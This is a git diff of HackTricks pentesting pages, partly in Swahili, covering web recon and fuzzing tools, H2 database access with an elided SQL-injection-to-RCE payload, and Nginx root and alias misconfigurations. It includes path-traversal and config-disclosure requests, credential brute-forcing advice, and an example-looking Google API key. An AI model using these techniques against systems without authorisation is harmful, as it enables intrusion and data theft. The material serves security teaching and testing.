|||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Kumbuka kwamba **domain** hiyo hiyo inaweza kuwa ikitumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
|
||||
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo awali au **zingine yoyote**, usisahau **kutafuta kwenye Mtandao** tricks mpya (na unijulishe!).
|
||||
_Kumbuka kwamba **domain** ile ile inaweza kuwa inatumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
|
||||
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo juu au **zingine yoyote**, usisahau **kutafuta kwenye Mtandao** tricks mpya (na unijulishe!).
|
||||
|
||||
### Source Code Review
|
||||
|
||||
Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **White box test** ya programu kwa **yako mwenyewe**, kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa:
|
||||
Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **White box test** ya programu hiyo, kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa:
|
||||
|
||||
* Je, kuna **Change-log au Readme au Version** file au chochote chenye **version info accessible** kupitia wavuti?
|
||||
* Je, **credentials** zimehifadhiwaje na wapi? Je, kuna **file** (inaweza kufikiwa?) yenye credentials (majina ya watumiaji au nywila)?
|
||||
* Je, **passwords** ziko katika **plain text**, **encrypted** au ni **hashing algorithm** gani inatumika?
|
||||
* Je, inatumia **master key** yoyote kwa ajili ya kuandika kitu? Ni **algorithm** gani inatumika?
|
||||
* Je, unaweza **kufikia yoyote ya hizi files** kwa kutumia udhaifu wowote?
|
||||
* Je, **passwords** ziko katika **plain text**, **encrypted** au ni **hashing algorithm** gani inayotumika?
|
||||
* Je, inatumia **master key** yoyote kwa ajili ya kuandika kitu? Ni **algorithm** gani inayotumika?
|
||||
* Je, unaweza **kufikia yoyote ya hizi files** kwa kutumia udhaifu fulani?
|
||||
* Je, kuna **maelezo ya kuvutia katika github** (masuala yaliyotatuliwa na yasiyotatuliwa)? Au katika **commit history** (labda **password iliyoingizwa ndani ya commit ya zamani**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
|
@ -164,9 +166,9 @@ wpscan --force update -e --url <URL>
|
|||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Katika hatua hii unapaswa kuwa na taarifa fulani kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu fulani za kukumbuka wakati wa mtihani. Ikiwa una bahati umepata hata CMS na ukafanya skana.
|
||||
> Katika hatua hii unapaswa kuwa na taarifa fulani kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu fulani za kukumbuka wakati wa mtihani. Ikiwa una bahati umepata hata CMS na kuendesha skana.
|
||||
|
||||
## Hatua kwa hatua Ugunduzi wa Programu za Wavuti
|
||||
## Ugunduzi wa Programu za Wavuti Hatua kwa Hatua
|
||||
|
||||
> Kutoka hapa tutaanza kuingiliana na programu ya wavuti.
|
||||
|
||||
|
@ -183,9 +185,9 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
**Kusababisha makosa**
|
||||
|
||||
Seva za wavuti zinaweza **kufanya kazi kwa njia isiyo ya kawaida** wakati data za ajabu zinatumwa kwao. Hii inaweza kufungua **vulnerabilities** au **kuonyesha taarifa nyeti**.
|
||||
Seva za wavuti zinaweza **kufanya kazi kwa njia isiyo ya kawaida** wakati data za ajabu zinatumwa kwao. Hii inaweza kufungua **vulnerabilities** au **kufichua taarifa nyeti**.
|
||||
|
||||
* Fikia **kurasa za uongo** kama /whatever\_fake.php (.aspx,.html,.n.k)
|
||||
* Fikia **kurasa za uwongo** kama /whatever\_fake.php (.aspx,.html,.n.k)
|
||||
* **Ongeza "\[]", "]]", na "\[\["** katika **maadili ya cookie** na **maadili ya parameter** ili kuunda makosa
|
||||
* Tengeneza kosa kwa kutoa ingizo kama **`/~randomthing/%s`** kwenye **mwisho** wa **URL**
|
||||
* Jaribu **HTTP Verbs tofauti** kama PATCH, DEBUG au makosa kama FAKE
|
||||
|
@ -194,15 +196,15 @@ Seva za wavuti zinaweza **kufanya kazi kwa njia isiyo ya kawaida** wakati data z
|
|||
|
||||
Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa ya kutosha kwa **kupakia faili** kwenye folda ya mzizi jaribu:
|
||||
|
||||
* **Brute Force** akreditif
|
||||
* **Pakia faili** kupitia WebDav kwenye **sehemu** za **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine.
|
||||
* **Brute Force** akidi
|
||||
* **Pakia faili** kupitia WebDav kwenye **sehemu** ya **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine.
|
||||
|
||||
### **Vulnerabilities za SSL/TLS**
|
||||
|
||||
* Ikiwa programu **haiwalazimishi watumiaji kutumia HTTPS** katika sehemu yoyote, basi ni **vulnerable to MitM**
|
||||
* Ikiwa programu inatumia **kutuma data nyeti (nywila) kwa kutumia HTTP**. Basi ni vulnerability kubwa.
|
||||
|
||||
Tumia [**testssl.sh**](https://github.com/drwetter/testssl.sh) kuangalia **vulnerabilities** (Katika programu za Bug Bounty labda aina hizi za vulnerabilities hazitakubaliwa) na tumia [**a2sv**](https://github.com/hahwul/a2sv) kuangalia tena vulnerabilities:
|
||||
Tumia [**testssl.sh**](https://github.com/drwetter/testssl.sh) kuangalia **vulnerabilities** (Katika programu za Bug Bounty labda aina hizi za vulnerabilities hazitakubaliwa) na tumia [**a2sv** ](https://github.com/hahwul/a2sv)kuangalia tena vulnerabilities:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -236,9 +238,9 @@ Zindua aina ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyin
|
|||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, zana kadhaa): Kusanya habari za kuvutia kutoka kwa faili za JS kwa kutumia zana kadhaa.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Pata faili za JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pakia ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakia ukurasa.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Chombo cha kugundua maudhui kinachochanganya chaguzi kadhaa za zana zilizotangulia.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Chombo cha kugundua maudhui kinachochanganya chaguzi kadhaa za zana za awali.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kiendelezi cha Burp kutafuta njia na parameta katika faili za JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kwa URL ya .js.map kitakuletea msimbo wa JS ulioimarishwa.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kwa kutolewa kwa URL ya .js.map kitakupa msimbo wa JS ulioimarishwa.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hii ni chombo kinachotumika kugundua mwisho kwa lengo fulani.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Gundua viungo kutoka kwa mashine ya wayback (pia kupakua majibu katika wayback na kutafuta viungo zaidi).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Vinjari (hata kwa kujaza fomu) na pia pata habari nyeti kwa kutumia regex maalum.
|
||||
|
@ -246,7 +248,7 @@ Zindua aina ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyin
|
|||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [chombo cha amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) kwa kutolewa kwa URLs, njia, siri, na data nyingine za kuvutia kutoka kwa msimbo wa chanzo wa JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** ili **kutolewa kwa parameta na mwisho** kutoka kwa ombi ili kuunda orodha maalum ya maneno kwa fuzzing na orodha.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Chombo bora kwa hili.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Chapisha kila kiungo kinachoweza kupatikana.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Chapisha kila kiungo ambacho kinaweza kupatikana.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
|
@ -254,20 +256,20 @@ Anza **brute-forcing** kutoka kwenye folda ya mzizi na uhakikishe unafanya brute
|
|||
Zana:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **ya zamani** (na **polepole**) lakini inafanya kazi. Inaruhusu vyeti vilivyojitiisha kiotomatiki na utafutaji wa kurudiwa. Polepole sana ikilinganishwa na chaguzi nyingine.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Haipati vyeti vilivyojitiisha kiotomatiki lakini** inaruhusu utafutaji wa kurudiwa.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyojitiisha kiotomatiki, **haina** **utaftaji wa kurudiwa**.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Haikubali vyeti vilivyojitiisha kiotomatiki lakini** inaruhusu utafutaji wa kurudiwa.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyojitiisha kiotomatiki, **haikubali** **utaftaji wa kurudiwa**.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Haraka, inasaidia utafutaji wa kurudiwa.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Haraka: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider lakini ni chombo ambacho kwa orodha ya URLs zilizopatikana kitafuta "URLs zilizojirudia".
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider lakini ni chombo ambacho kwa kutolewa kwa orodha ya URLs zilizopatikana kitafuta "URLs zilizojirudia".
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Kiendelezi cha Burp kuunda orodha ya directories kutoka kwa historia ya burp ya kurasa tofauti.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Ondoa URLs zenye kazi zilizojirudia (kulingana na uagizaji wa js).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Inatumia wapalyzer kugundua teknolojia zinazotumika na kuchagua orodha za maneno za kutumia.
|
||||
|
||||
**Recommended dictionaries:**
|
||||
**Orodha za maneno zinazopendekezwa:**
|
||||
|
||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [**Dirsearch** orodha iliyojumuishwa](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
|
@ -289,16 +291,16 @@ _Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing a
|
|||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pata viungo vilivyovunjika ndani ya HTMLs ambavyo vinaweza kuwa na hatari ya kuchukuliwa.
|
||||
* **File Backups**: Mara tu unapopata faili zote, angalia nakala za faili zote zinazoweza kutekelezwa ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Discover new parameters**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameta zilizofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** parameta zilizofichwa kwenye kila faili ya wavuti inayoweza kutekelezwa.
|
||||
* **Discover new parameters**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameta zilizofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** parameta zilizofichwa kwenye kila faili la wavuti linaloweza kutekelezwa.
|
||||
* _Arjun orodha zote za maneno za kawaida:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Comments:** Angalia maoni ya faili zote, unaweza kupata **credentials** au **ufunctionality iliyofichwa**.
|
||||
* Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** ya **maelfu** ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti.
|
||||
* Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** **miyingi** ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti.
|
||||
* **API keys**: Ikiwa **unapata funguo zozote za API** kuna mwongozo unaoelekeza jinsi ya kutumia funguo za API za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API keys: Ikiwa unapata funguo zozote za API zinazoonekana kama **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik unaweza kutumia mradi [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuangalia ni APIs zipi funguo hiyo inaweza kufikia.
|
||||
* **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** au kiungo chochote kinahusiana na **S3 bucket**. Katika kesi hiyo, [**angalia** **idhini** ya ndoo](buckets/).
|
||||
* **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** yoyote au kiungo chochote kinahusiana na **S3 bucket** fulani. Katika kesi hiyo, [**angalia** **idhini** ya ndoo](buckets/).
|
||||
|
||||
### Special findings
|
||||
|
||||
|
@ -306,11 +308,11 @@ _Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing a
|
|||
|
||||
**Interesting files**
|
||||
|
||||
* Angalia **viungo** kwa faili nyingine ndani ya **CSS**.
|
||||
* Angalia **viungo** kwa faili nyingine ndani ya **CSS** files.
|
||||
* [Ikiwa unapata faili ya _**.git**_ habari fulani inaweza kutolewa](git.md)
|
||||
* Ikiwa unapata _**.env**_ habari kama funguo za api, nywila za db na habari nyingine zinaweza kupatikana.
|
||||
* Ikiwa unapata **API endpoints** unapaswa [pia kujaribu hizo](web-api-pentesting.md). Hizi si faili, lakini labda "zitakuwa kama" hizo.
|
||||
* **JS files**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili ya JS iliyopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Ikiwa unapata **API endpoints** unapaswa pia kujaribu [kujaribu hizo](web-api-pentesting.md). Hizi si faili, lakini labda "zitakuwa kama" hizo.
|
||||
* **JS files**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili la JS lililopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Unapaswa pia kuangalia faili za JS zilizogunduliwa na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kuona ikiwa ina udhaifu.
|
||||
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
|
@ -341,7 +343,7 @@ Inawezekana **kweka maudhui** ndani ya **Redirection**. Maudhui haya **hayataony
|
|||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Sasa kwamba orodha kamili ya programu ya wavuti imefanywa ni wakati wa kuangalia uwezekano wa udhaifu mwingi. Unaweza kupata orodha ya ukaguzi hapa:
|
||||
Sasa kwamba orodha kamili ya wavuti imefanywa ni wakati wa kuangalia uwezekano wa udhaifu mwingi. Unaweza kupata orodha ya ukaguzi hapa:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
@ -357,11 +359,13 @@ Pata maelezo zaidi kuhusu udhaifu wa wavuti katika:
|
|||
|
||||
Unaweza kutumia zana kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuingiza udhaifu.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kujaribu kuvunja yasiyoweza kuvunjika - **tunaajiri!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa biashara.** Tumia zana zetu 20+ za kawaida kuchora uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
|
|
|
@ -15,15 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Official page: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
||||
|
||||
## Access
|
||||
|
||||
You can indicate a **jina la database lisilopo** in order to **create a new database without valid credentials** (**bila uthibitisho**):
|
||||
You can indicate a **non-existent name a of database** in order to **create a new database without valid credentials** (**unauthenticated**):
|
||||
|
||||
![](<../../.gitbook/assets/image (131).png>)
|
||||
|
||||
Or if you know that for example a **mysql inafanya kazi** and you know the **jina la database** and the **credentials** for that database, you can just access it:
|
||||
Or if you know that for example a **mysql is running** and you know the **database name** and the **credentials** for that database, you can just access it:
|
||||
|
||||
![](<../../.gitbook/assets/image (201).png>)
|
||||
|
||||
|
@ -35,7 +39,7 @@ Having access to communicate with the H2 database check this exploit to get RCE
|
|||
|
||||
## H2 SQL Injection to RCE
|
||||
|
||||
In [**this post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) a payload is explained to get **RCE kupitia database ya H2** abusing a **SQL Injection**.
|
||||
In [**this post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) a payload is explained to get **RCE via a H2 database** abusing a **SQL Injection**.
|
||||
```json
|
||||
[...]
|
||||
"details":
|
||||
|
@ -46,6 +50,10 @@ In [**this post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)
|
|||
},
|
||||
[...]
|
||||
```
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -55,8 +63,8 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mchakato wa haraka wa kutathmini udhaifu & kupenya**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
**Pata na ripoti mapungufu makubwa, yanayoweza kutumiwa ambayo yana athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
|
||||
Wakati wa kusanidi seva ya Nginx, **root directive** ina jukumu muhimu kwa kufafanua saraka ya msingi kutoka ambayo faili hutolewa. Fikiria mfano ulio hapa chini:
|
||||
When configuring the Nginx server, the **root directive** plays a critical role by defining the base directory from which files are served. Consider the example below:
|
||||
```bash
|
||||
server {
|
||||
root /etc/nginx;
|
||||
|
@ -34,9 +36,9 @@ proxy_pass http://127.0.0.1:8080/;
|
|||
}
|
||||
}
|
||||
```
|
||||
Katika usanidi huu, `/etc/nginx` imewekwa kama saraka ya mzizi. Mipangilio hii inaruhusu ufikiaji wa faili ndani ya saraka iliyoainishwa, kama vile `/hello.txt`. Hata hivyo, ni muhimu kutambua kwamba eneo maalum tu (`/hello.txt`) limeainishwa. Hakuna usanidi kwa eneo la mzizi (`location / {...}`). Kukosekana kwa hili kunamaanisha kwamba mwelekeo wa mzizi unatumika kwa ujumla, ukiruhusu maombi kwa njia ya mzizi `/` kufikia faili chini ya `/etc/nginx`.
|
||||
Katika usanidi huu, `/etc/nginx` imewekwa kama saraka ya mzizi. Mipangilio hii inaruhusu ufikiaji wa faili ndani ya saraka iliyoainishwa, kama vile `/hello.txt`. Hata hivyo, ni muhimu kutambua kwamba eneo maalum tu (`/hello.txt`) limeainishwa. Hakuna usanidi wa eneo la mzizi (`location / {...}`). Kukosekana kwa hili kunamaanisha kwamba mwelekeo wa mzizi unatumika kwa ujumla, ukiruhusu maombi kwenye njia ya mzizi `/` kufikia faili chini ya `/etc/nginx`.
|
||||
|
||||
Kipengele muhimu cha usalama kinatokea kutokana na usanidi huu. Ombi rahisi la `GET`, kama `GET /nginx.conf`, linaweza kufichua taarifa nyeti kwa kutoa faili ya usanidi wa Nginx iliyoko `/etc/nginx/nginx.conf`. Kuweka mzizi kwenye saraka isiyo nyeti sana, kama `/etc`, kunaweza kupunguza hatari hii, lakini bado kunaweza kuruhusu ufikiaji usio kusudiwa kwa faili nyingine muhimu, ikiwa ni pamoja na faili zingine za usanidi, kumbukumbu za ufikiaji, na hata akidi zilizofichwa zinazotumika kwa uthibitishaji wa msingi wa HTTP.
|
||||
Kipengele muhimu cha usalama kinatokea kutokana na usanidi huu. Ombi rahisi la `GET`, kama `GET /nginx.conf`, linaweza kufichua taarifa nyeti kwa kutoa faili ya usanidi wa Nginx iliyoko kwenye `/etc/nginx/nginx.conf`. Kuweka mzizi kwenye saraka isiyo nyeti sana, kama `/etc`, kunaweza kupunguza hatari hii, lakini bado kunaweza kuruhusu ufikiaji usio kusudi wa faili nyingine muhimu, ikiwa ni pamoja na faili zingine za usanidi, kumbukumbu za ufikiaji, na hata akidi zilizofichwa zinazotumika kwa uthibitishaji wa msingi wa HTTP.
|
||||
|
||||
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||
|
||||
|
@ -46,7 +48,7 @@ location /imgs {
|
|||
alias /path/images/;
|
||||
}
|
||||
```
|
||||
Hii usanidi ina uwezekano wa mashambulizi ya LFI kutokana na seva kufasiri maombi kama `/imgs../flag.txt` kama jaribio la kufikia faili nje ya saraka iliyokusudiwa, ikitafsiriwa kwa ufanisi kama `/path/images/../flag.txt`. Kasoro hii inaruhusu washambuliaji kupata faili kutoka kwa mfumo wa faili wa seva ambao haupaswi kupatikana kupitia wavuti.
|
||||
Hii usanidi ina hatari ya mashambulizi ya LFI kwa sababu seva inatafsiri maombi kama `/imgs../flag.txt` kama jaribio la kufikia faili nje ya saraka iliyokusudiwa, ikitafsiriwa kwa ufanisi kama `/path/images/../flag.txt`. Kasoro hii inaruhusu washambuliaji kupata faili kutoka kwa mfumo wa faili wa seva ambao haupaswi kupatikana kupitia wavuti.
|
||||
|
||||
Ili kupunguza udhaifu huu, usanidi unapaswa kubadilishwa ili:
|
